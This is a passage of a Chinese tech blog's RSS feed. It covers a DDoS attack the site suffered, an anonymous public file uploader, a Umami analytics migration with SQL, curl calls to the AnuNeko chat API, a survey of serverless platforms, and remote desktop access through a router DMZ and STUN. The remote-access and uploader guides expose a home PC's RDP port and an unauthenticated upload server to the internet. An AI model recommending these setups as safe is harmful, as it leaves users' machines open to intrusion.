&lt;p&gt;切完后逐步好转,虽然速度有些慢,然后我就睡觉了&lt;/p&gt;
&lt;h1&gt;茅塞顿开&lt;/h1&gt;
&lt;p&gt;睡醒后我越想越奇怪,于是就登上了 &lt;strong&gt;EdgeOne Pages&lt;/strong&gt; 控制台,然后一看,我嘞个大雷
&lt;img src=&quot;https://blog.acofork.com/_astro/2f4df8e383a1b41625ad02eb70375465.DMF2bZXr.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/50480865cd7f11d7cc4b495bcbc48038.q55tWphh.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/30bb8ddb905b6de8181d60ddf1b69dbe.BbLtod7l.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/01f15a24f395a3731010c8046cb2008c.DzX7lLL2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后我抱着好奇的心态想看看ESA防御咋样没想到刚切过去阿里云就给我发消息了
&lt;img src=&quot;https://blog.acofork.com/_astro/9318872dc53b38334312619b2373c81e.C7NjFxlx.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是...
&lt;img src=&quot;https://blog.acofork.com/_astro/5b3bcf42d0e4f73fbe031699a291a5c2.DlByEAYQ.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/c4b6bdd2c39ae7585b9d3ecc5dbe9c6d.DQs9HFBU.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;依旧是熟悉的印度尼西亚
&lt;img src=&quot;https://blog.acofork.com/_astro/5a86eb051d48615259e8dcecb0fe8185.BRuLrf6x.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那没招了随后我于10分钟内极速 &lt;strong&gt;完全切到Cloudflare Pages&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/ddos-6t-3.slKOngr_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目前来看 &lt;strong&gt;Cloudflare Pages&lt;/strong&gt; 也挺绿的
&lt;img src=&quot;https://blog.acofork.com/_astro/image_2025-12-16_08-24-54.BEtwrmBA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后发了一个被打的B站视频然后得知&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我去!大手子来了!&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-12-16-08-08-33-65_149003a2d400f6a.Bfql2rrl.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;赛后总结&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/d16b7b134dec1224dcfc16e59a21942f.D_Y8WAub.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/3c33b054a3180932ae87bea8bd06c3ed.DjKTmsFh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本站遭受了建站以来规模最大的一次DDoS攻击总流量6.65TB峰值瞬发1.95GB/s&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;目前 &lt;strong&gt;acofork.com&lt;/strong&gt; 域名所有主要业务重定向为 &lt;strong&gt;2x.nz&lt;/strong&gt; ,所有业务采用 &lt;strong&gt;Cloudflare CDN&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果各位大牛有防御方案/缓解措施,欢迎留言!&lt;/p&gt;
</content:encoded></item><item><title>想要一个匿名文件上载器?一行命令装好!</title><link>https://blog.acofork.com/posts/py-uploadserver/</link><guid isPermaLink="true">https://blog.acofork.com/posts/py-uploadserver/</guid><description>有时候我们可能出门在外想要带文件回家但是U盘插来插去并不优雅那么我们可以尝试在自家电脑启动一个匿名文件上载器然后将其暴露到公网</description><pubDate>Thu, 11 Dec 2025 09:08:55 GMT</pubDate><content:encoded>&lt;h1&gt;安装&lt;/h1&gt;
&lt;p&gt;确保你安装了 &lt;strong&gt;Python&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;安装 &lt;strong&gt;uploadserver&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install --user uploadserver
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来,创建并进入一个新文件夹,作为 &lt;strong&gt;上传目录&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir upload
cd upload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行,并监听 &lt;strong&gt;IPv4&lt;/strong&gt;&lt;strong&gt;8000端口&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m uploadserver 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又或者,监听 &lt;strong&gt;IPv6&lt;/strong&gt;&lt;strong&gt;8000端口&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m uploadserver --bind :: 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来,你就可以在内网环境使用这个 &lt;strong&gt;文件上载器&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/py-uploadserver.Dw28SIG5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再然后,我们就可以将其打到公网了&lt;/p&gt;
&lt;h1&gt;打到公网&lt;/h1&gt;
&lt;h3&gt;方案一使用EdgeOne进行IPv6回源&lt;/h3&gt;
&lt;p&gt;将你的IPv6做 &lt;strong&gt;DDNS&lt;/strong&gt; 然后使用EdgeOne回源
&lt;img src=&quot;https://blog.acofork.com/_astro/py-uploadserver-1.BRWxfuTL.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;方案二STUN仅NAT1可用&lt;/h3&gt;
&lt;p&gt;当你的家庭网络为 &lt;strong&gt;NAT1&lt;/strong&gt; ,则可以使用类似这样的软件将你的 &lt;strong&gt;内网端口&lt;/strong&gt; 直接打到 &lt;strong&gt;公网端口&lt;/strong&gt; 貌似该程序对TCP分片敏感会导致RST &lt;a href=&quot;https://github.com/MikeWang000000/Natter&quot;&gt;MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet.&lt;/a&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/py-uploadserver-2.DRE3TbK0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Umami Cloud迁移到本地踩坑记录</title><link>https://blog.acofork.com/posts/umami-migration/</link><guid isPermaLink="true">https://blog.acofork.com/posts/umami-migration/</guid><description>早期的我很有先见之明在使用Umami的时候是自建的但是不久后因为想要全上云又用回了Umami Cloud但是现在访问记录激增我又不得不迁移到本地...</description><pubDate>Fri, 05 Dec 2025 10:13:34 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们想要迁移首先肯定是要拿到原来的Umami Cloud存放的数据&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud.umami.is/settings/data&quot;&gt;Umami Cloud Data | Settings&lt;/a&gt;我们可以选择导出数据Export
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-1.uJp6pug6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当数据准备好后几分钟左右你的邮箱会收到一封Umami Cloud发来的邮件
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-2.DTZD0voa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载下来的文件是一个以UUID命名的ZIP压缩包将其解压可以得到3个CSV文件
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-3.BnW3znWh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中,只有 &lt;code&gt;website_event.csv&lt;/code&gt; 有用,其他两个文件仅有表头,无数据&lt;/p&gt;
&lt;p&gt;这样我们就成功拿到了旧Umami数据&lt;/p&gt;
&lt;p&gt;接下来我们需要在本地部署Umami PostgreSQL版本的 &lt;strong&gt;最新版&lt;/strong&gt; (目前版本为 3.x部署教程略&lt;/p&gt;
&lt;p&gt;然后我们还需要安装一个CSV编辑软件 &lt;a href=&quot;https://smoothcsv.com/&quot;&gt;SmoothCSV - The ultimate CSV editor for macOS &amp;amp; Windows&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在本地Umami中新建一个网站Umami会随机为你生成一个UUID&lt;/p&gt;
&lt;p&gt;接下来我们需要在你的终端安装一个图形化管理PostgreSQL的软件 &lt;a href=&quot;https://www.pgadmin.org/&quot;&gt;pgAdmin - PostgreSQL Tools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后连上数据库,你将可以看到这些表
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-4.Bf_6rmGu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们查看 &lt;code&gt;website&lt;/code&gt; 这张表,将 &lt;code&gt;website_event.csv&lt;/code&gt; 打开,查看旧的 &lt;code&gt;website_id&lt;/code&gt; 将新的ID改为旧的这样才能数据匹配
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-5.BwVUMKHi.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-6.BIWQqR3J.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来,我们正式开始数据导入,由于导入后的数据有两个 &lt;code&gt;session_id&lt;/code&gt; 字段而在Umami自我管理的过程中这个 &lt;code&gt;session_id&lt;/code&gt; 字段是 &lt;strong&gt;唯一约束的&lt;/strong&gt; ,我们需要先解除这个限制,在正式上线前还要再加回这个限制(后面会说)&lt;/p&gt;
&lt;p&gt;让我们删除主键约束和索引&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE session DROP CONSTRAINT session_pkey;
DROP INDEX session_session_id_key;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来,我们需要将数据配对,我们先查看 &lt;code&gt;website_event.csv&lt;/code&gt; 这张表。这里应该只有表头,没有数据(我有是因为我已经导入完成了,教程是后写的)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意顺序&lt;/strong&gt; 如: &lt;code&gt;event_id&lt;/code&gt; &lt;code&gt;website_id&lt;/code&gt; &lt;code&gt;session_id&lt;/code&gt; ...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-7.BoFsUvCG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑CSV文件你需要将顺序配对并且删除表中没有的列 &lt;code&gt;browser&lt;/code&gt; &lt;code&gt;os&lt;/code&gt; ...
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-8.y76uzC9T.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确保数据库中的表头顺序和CSV文件中的表头顺序一一对应顺序一致不多不少后&lt;strong&gt;Ctrl + S 保存&lt;/strong&gt; CSV文件我们开始导入并在选项中勾选 &lt;strong&gt;标题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-9.CsvUdMnd.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-10.COtfjwPj.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-11.-MojYeeV.png&quot; alt=&quot;&quot; /&gt;
导入成功后如图
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-12.D-xPsgmz.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-13.50Z2eTBd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再编辑 &lt;code&gt;session&lt;/code&gt; 这张表,手法同上,导入成功后如图
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-14.u-CrUDDg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来打开本地Umami的WebUI查看数据是否有异常
&lt;img src=&quot;https://blog.acofork.com/_astro/umami-migration-15.B8e8TWGj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确保导入后数据无异常后,我们开始删除另一条 &lt;code&gt;session_id&lt;/code&gt; 记录并回锁主键。否则上线后Umami将无法再向表中插入数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT session_id, COUNT(*)
FROM public.session
GROUP BY session_id
HAVING COUNT(*) &amp;gt; 1;
-- 保留最早的 created_at
DELETE FROM public.session
WHERE ctid NOT IN (
SELECT MIN(ctid)
FROM public.session
GROUP BY session_id
);
ALTER TABLE public.session
ADD CONSTRAINT session_id_unique UNIQUE (session_id);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此,迁移工作结束&lt;/p&gt;
</content:encoded></item><item><title>上手米哈游AI然后把它逆了</title><link>https://blog.acofork.com/posts/anuneko/</link><guid isPermaLink="true">https://blog.acofork.com/posts/anuneko/</guid><description>AnuNeko是一只会哈气的橘猫...其实不是AnuNeko是由米哈游创始人做的AI大模型会哈气。于是便做个QQBot给群友玩</description><pubDate>Tue, 02 Dec 2025 09:11:40 GMT</pubDate><content:encoded>&lt;h1&gt;这是What&lt;/h1&gt;
&lt;p&gt;这是橘猫,会哈气(见封面&lt;/p&gt;
&lt;p&gt;你可以前往 &lt;a href=&quot;https://anuneko.com/#/chat&quot;&gt;AnuNeko&lt;/a&gt; 逗猫&lt;/p&gt;
&lt;h1&gt;逆!&lt;/h1&gt;
&lt;p&gt;okok注意到登陆后的请求头中有 &lt;code&gt;x-token&lt;/code&gt; 字段
&lt;img src=&quot;https://blog.acofork.com/_astro/anuneko-1.DWTZVhm6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;手搓个请求发发,&lt;code&gt;data&lt;/code&gt; 携带内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;https://anuneko.com/api/v1/msg/会话id/stream&apos; \
--header &apos;x-token: 账号Token&apos; \
--header &apos;Content-Type: text/plain&apos; \
--header &apos;Cookie: 自动拿取&apos; \
--data &apos;{&quot;contents&quot;:[&quot;test&quot;]}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通了
&lt;img src=&quot;https://blog.acofork.com/_astro/anuneko-2.J0wOCVp6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后还有一种情况在遇到Pick的时候我们要发送要选择的回复编号
&lt;img src=&quot;https://blog.acofork.com/_astro/anuneko-3.DyuhBgC-.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发个如图请求帮橘猫选择&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;https://anuneko.com/api/v1/msg/select-choice&apos; \
--header &apos;x-token: 你的Token&apos; \
--header &apos;Content-Type: text/plain&apos; \
--header &apos;Cookie: 自动拿取&apos; \
--data &apos;{&quot;msg_id&quot;:&quot;会话id&quot;,&quot;choice_idx&quot;:0或1}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有还有,这有个橘猫和黑猫,如何切换一个会话的猫?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;https://anuneko.com/api/v1/user/select_model&apos; \
--header &apos;x-token: 你的Token&apos; \
--header &apos;Content-Type: text/plain&apos; \
--header &apos;Cookie: 自动拿取&apos; \
--data &apos;{&quot;chat_id&quot;:&quot;会话id&quot;,&quot;model&quot;:&quot;Exotic Shorthair或Orange Cat&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随便写了个适用于NoneBot2的插件玩吧
&lt;a href=&quot;https://github.com/afoim/AnuNeko_NoneBot2_Plugins/blob/main/anuneko.py&quot;&gt;AnuNeko_NoneBot2_Plugins/anuneko.py at main · afoim/AnuNeko_NoneBot2_Plugins&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>盘点那些好用的Serverless云函数</title><link>https://blog.acofork.com/posts/serverless-function/</link><guid isPermaLink="true">https://blog.acofork.com/posts/serverless-function/</guid><description>你是否为了搭建一个网站而买了一台VPS然后安装宝塔或1Panel再安装Nginx等等等等现在这些统统不要只需要稍加学习你就可以得到一个免费的高可用的托管服务</description><pubDate>Tue, 25 Nov 2025 08:33:24 GMT</pubDate><content:encoded>&lt;h1&gt;何为Serverless&lt;/h1&gt;
&lt;p&gt;就像简介所说传统来说我们搭建Web服务一般会选择买一个VPS然后在其上安装管理面板再安装所需软件如NginxAList最后运行开放端口再设置DNS解析这样一个网站就成功上线了&lt;/p&gt;
&lt;p&gt;而Serverless就简单多了毕竟 &lt;strong&gt;Server&lt;/strong&gt;&lt;strong&gt;Less&lt;/strong&gt; 掉了&lt;/p&gt;
&lt;p&gt;这又是什么意思呢在Serverless服务里你不再需要管理传统的VPS而是直接将业务代码上传到目标平台再由平台的CI/CD自动部署你的服务&lt;/p&gt;
&lt;p&gt;举个不恰当的例子就比如你正在观看的这个 &lt;a href=&quot;https://2x.nz&quot;&gt;博客&lt;/a&gt; ,首先我将源码上传到 &lt;a href=&quot;https://cloud.tencent.com/document/product/1552/118260&quot;&gt;边缘安全加速平台 EO Pages_腾讯云&lt;/a&gt; 再经由平台构建出最终的HTML页面然后再在平台上绑定域名直接访问就可以了&lt;/p&gt;
&lt;p&gt;不难看出在上一个例子中我并没有去从零开始搭建这个服务而是仅做了两件事1. 源码上传 2. 绑定域名,而其他事情全部交给平台的自动化,这不仅极大减少了运维成本,并且在做版本控制的时候也更加容易&lt;/p&gt;
&lt;h1&gt;Serverless的利与弊&lt;/h1&gt;
&lt;p&gt;在Serverless中你不再需要管理基础设施只需要确保你的代码能跑然后直接上传到平台平台会帮你做好后续工作&lt;/p&gt;
&lt;p&gt;并且,这往往是 &lt;strong&gt;免费&lt;/strong&gt;或者说大部分Serverless平台都有 &lt;strong&gt;免费层&lt;/strong&gt; 。因为在平台看来,你只是租用了你所需要的东西,相比于哪些大客户,你的开销可以说是忽略不计&lt;/p&gt;
&lt;p&gt;并且在Serverless中你永远只是用户但是如果你买的是VPS一般来说你是可以完全控制这台VPS的如设置防火墙或是重装系统而这种代价是高昂的这也是为什么你能看到许许多多免费的Serverless服务但是几乎看不到免费的VPS提供商&lt;/p&gt;
&lt;p&gt;但这也有一些弊端Serverless往往有严格的用量限制在传统的VPS中往往IDC会限制你的 &lt;strong&gt;最大带宽&lt;/strong&gt;&lt;strong&gt;公网IP&lt;/strong&gt;&lt;strong&gt;总流量&lt;/strong&gt; 但是在Serverless中往往只会限制你的 &lt;strong&gt;总流量&lt;/strong&gt; ,但可能还会有一些限制,如:&lt;strong&gt;CPU最长执行时间&lt;/strong&gt;&lt;strong&gt;总请求数&lt;/strong&gt;&lt;strong&gt;函数总请求数&lt;/strong&gt;&lt;strong&gt;函数最长执行时间&lt;/strong&gt; 等等等等&lt;/p&gt;
&lt;p&gt;因为当你在用Serverless的时候你的服务直接跑在其平台的CDN上的你将直接享有所属平台的CDN IP段以及带宽这也让平台的管理更加方便不需要大量购入物理机开虚拟机做VPS只需要做一个小集群并做好用户分配即可&lt;/p&gt;
&lt;p&gt;Serverless也比Server更容易做版本控制和Debug由于Serverless和Git是天生一体的。在用户看来只需要先将代码托管到Github再将代码库连接到Serverless平台此后你的服务每一次更新就只需要更新源码了平台会自动帮你构建。当你想要回滚版本的时候直接将部署回退为之前的提交即可而Debug无需再连到服务器上做只需要有一台电脑将代码拉下来本地Dev Debug后再将修复后的代码提交平台就能自动部署了&lt;/p&gt;
&lt;h1&gt;好用的Serverless平台&lt;/h1&gt;
&lt;h3&gt;&lt;a href=&quot;https://pages.edgeone.ai/zh&quot;&gt;边缘全栈开发平台 - EdgeOne Pages&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;:::caution
请不要在其上部署日流量超 &lt;strong&gt;10M&lt;/strong&gt; 的服务,很有可能会被停用账号
:::&lt;/p&gt;
&lt;p&gt;支持原生JS和Node Function如果你的项目是基于Node打造的仅需修改一下函数出入口即可无缝迁移。并且目前的 &lt;strong&gt;Pages Function&lt;/strong&gt;&lt;strong&gt;不计请求也不计费&lt;/strong&gt; 的,非常适合部署一些仅自己用的服务&lt;/p&gt;
&lt;p&gt;不过其自带的构建服务性能较低,上线速度可能稍慢&lt;/p&gt;
&lt;p&gt;示例服务: &lt;a href=&quot;/posts/unknown-upload/&quot;&gt;自建一个匿名文件上传终结点 - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://vercel.com/docs/functions&quot;&gt;Vercel Functions&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;支持非常多的语言,如 Node.js、Python、Go、Wasm 等等。构建服务非常强劲!&lt;strong&gt;默认分配 4C8G&lt;/strong&gt; 帮你构建!&lt;/p&gt;
&lt;p&gt;用量限制非常宽松,并且可以超过限制的 &lt;strong&gt;2倍&lt;/strong&gt; 以上仍保持正常访问
&lt;img src=&quot;https://blog.acofork.com/_astro/serverless-function-1.BOmSui9j.png&quot; alt=&quot;&quot; /&gt;
示例服务: &lt;a href=&quot;/posts/onedrive-index/&quot;&gt;让我们用Vercel来分享你的OneDrive - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://www.netlify.com/platform/core/functions/&quot;&gt;Netlify Functions&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;支持 JS/TS 和 Go。用量限制更宽松仅限制每个月100G传输流量但是一旦超限即刻宕机&lt;/p&gt;
&lt;p&gt;示例服务: https://nf-gh.072103.xyz/afoim&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://www.cloudflare-cn.com/developer-platform/products/workers/&quot;&gt;Cloudflare Workers | 利用易于使用的开发工具构建和部署代码 | Cloudflare&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;支持众多语言但是对JS/TS的支持最好特别注意不支持完整的 &lt;strong&gt;Node.js&lt;/strong&gt; 环境。Python目前无法通过pip安装包。优点在于可以和更多Cloudflare产品做协同如Cloudflare R2 对象存储、Cloudflare KV 键值对存储、Cloudflare D1 SQL数据库&lt;/p&gt;
&lt;p&gt;每天限制 &lt;strong&gt;10W&lt;/strong&gt; 请求,但是超了并不会 &lt;strong&gt;始终返回&lt;/strong&gt; 不可用,而是 &lt;strong&gt;可能会请求错误&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;示例服务: &lt;a href=&quot;/posts/warden-worker/&quot;&gt;你可曾想过直接将BitWarden部署到Cloudflare Worker - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://huggingface.co/&quot;&gt;Hugging Face The AI community building the future.&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;:::caution
请不要在其上部署 &lt;strong&gt;AList&lt;/strong&gt; !秒封!
:::&lt;/p&gt;
&lt;p&gt;严格意义上来说这是个帮你跑AI大模型服务的平台但是由于它支持跑 &lt;strong&gt;Docker&lt;/strong&gt; ,可玩性还是很高的&lt;/p&gt;
&lt;p&gt;不过访问链接需要你拼一下: https://用户名-Space名.hf.space/&lt;/p&gt;
&lt;p&gt;示例服务: &lt;a href=&quot;https://acofork1-netease.hf.space/&quot;&gt;网易云音乐工具箱&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://run.claw.cloud/&quot;&gt;ClawCloud Run | Build, Deploy, Manage &amp;amp; Run in Cloud-Native Platform&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;之前被干爆过,目前亚太爆炸,每个月有 &lt;strong&gt;5 美元&lt;/strong&gt; 余额直接跑Docker按你分配的CPU核心数和内存来计费。不过 Hobby 计划还蛮便宜的,常用的话可以买
&lt;img src=&quot;https://blog.acofork.com/_astro/serverless-function-2.B3UO-Q3d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://render.com/&quot;&gt;Render&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/serverless-function-3.Bs28so9x.png&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;每月免费100G流量&lt;/strong&gt;支持非常多的服务静态网站、Web服务Docker、定时服务、PostgreSQL数据库、Key Vaule存储&lt;/p&gt;
&lt;p&gt;唯一的缺点,性能不高&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://zeabur.com/zh-CN/&quot;&gt;Zeabur&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/serverless-function-4.hmvrzZtR.png&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;每月免费5刀额度&lt;/strong&gt; ,免费计划有两个地域可选
&lt;img src=&quot;https://blog.acofork.com/_astro/serverless-function-5.DIvgyxtf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最重磅的在于你可以将自己的VPS托管给Zeabur它会在你的服务器上安装k3s等服务之后你就可以直接在Zeabur的仪表盘上进行运维了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最小服务器要求2GB 内存1 核 CPU。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/serverless-function-6.DxOZL36X.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;结语&lt;/h1&gt;
&lt;p&gt;Serverless不像传统的VPS你并不完全拥有它所以有些服务是不能跑的 &lt;strong&gt;特别是在免费层&lt;/strong&gt; 如特别吃IO和网络的 &lt;strong&gt;AList&lt;/strong&gt; ,或是并发请求特别高以及商用服务。如果你用的舒心,请考虑购买各大平台的付费版套餐&lt;/p&gt;
</content:encoded></item><item><title>出门在外,如何优雅、高效、流畅地远程自家电脑?</title><link>https://blog.acofork.com/posts/remote/</link><guid isPermaLink="true">https://blog.acofork.com/posts/remote/</guid><description>当今,我们出门在外,几乎哪哪都能摸到电脑,但是我们大部分的工作文件一般都在自家电脑,为了保持工作流的一致,我们自然就有了远控自家电脑的需求了</description><pubDate>Mon, 24 Nov 2025 18:04:57 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;你可能觉得这人不是XX吗远控当然下载个类似UU远程、向日葵这种软件不就行了这还要出一篇文章&lt;/p&gt;
&lt;p&gt;那我问你如果你用的电脑是32位而不是64位当你用的公司网络NAT类型并不开放又或者没有IPv6我们要如何优雅、高效、流畅的使用远程呢&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;我们分两步走一个是针对于64位的电脑较简单而另一个是针对于32位的电脑稍微复杂&lt;/p&gt;
&lt;h3&gt;64位&lt;/h3&gt;
&lt;p&gt;首先,将家里的路由器的 &lt;strong&gt;UPnP&lt;/strong&gt; 功能打开,然后直接下载 &lt;a href=&quot;https://uuyc.163.com/&quot;&gt;网易UU远程官网_真4K、真免费、真好用&lt;/a&gt; 登录账号直接连接绝大部分情况都是P2P点对点连接即控制和被控端直接连接&lt;/p&gt;
&lt;h3&gt;32位&lt;/h3&gt;
&lt;p&gt;由于UU远程仅支持64位的电脑我们就要想点花招了&lt;/p&gt;
&lt;p&gt;我用的办法比较极客,就是将家里设备的 &lt;strong&gt;RDP&lt;/strong&gt; 端口打到公网上来,也就是利用 &lt;strong&gt;STUN&lt;/strong&gt; 但是这种方法要求家庭网络的NAT类型为1Full Cone&lt;/p&gt;
&lt;p&gt;那么首先,我将家中的路由器的 &lt;strong&gt;DMZ&lt;/strong&gt; 主机设置为家里电脑的IP
&lt;img src=&quot;https://blog.acofork.com/_astro/remote.cbdpc5cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;DMZ启用后所有打到路由器上所有端口除路由器自身占用端口的流量全部转发给DMZ主机&lt;/p&gt;
&lt;p&gt;用人话来说你访问路由器的3389端口就能直接访问到电脑的3389端口&lt;/p&gt;
&lt;p&gt;这样设置之后,你就可以使用 &lt;strong&gt;STUN&lt;/strong&gt; 协议将路由器的3389端口转发到ISP给你分配的公网上&lt;/p&gt;
&lt;p&gt;用人话来说STUN后访问你正在用的 &lt;code&gt;公网IP:随机端口&lt;/code&gt; 就能访问到路由器的3389端口又因为配置了DMZ就又能访问到电脑的3389端口&lt;/p&gt;
&lt;p&gt;那么如何简单的开一个 &lt;strong&gt;STUN隧道&lt;/strong&gt; 呢?&lt;/p&gt;
&lt;p&gt;我这里使用的是 &lt;a href=&quot;https://github.com/MikeWang000000/Natter&quot;&gt;MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet.&lt;/a&gt; 它是一个Python编写的程序确保你的网络为NAT1后你可以使用一个简单的命令 &lt;code&gt;python natter.py -p 3389&lt;/code&gt; 来创建STUN隧道
&lt;img src=&quot;https://blog.acofork.com/_astro/remote-1.BWeIBJPw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;观察 &lt;code&gt;WAN &amp;gt; 112.32.39.77:55265 [ OPEN ]&lt;/code&gt; 证明你已经可以通过该 &lt;code&gt;公网IP:端口&lt;/code&gt; 来在世界各地,只要连上了 &lt;strong&gt;互联网&lt;/strong&gt; ,就能连上家里的电脑&lt;/p&gt;
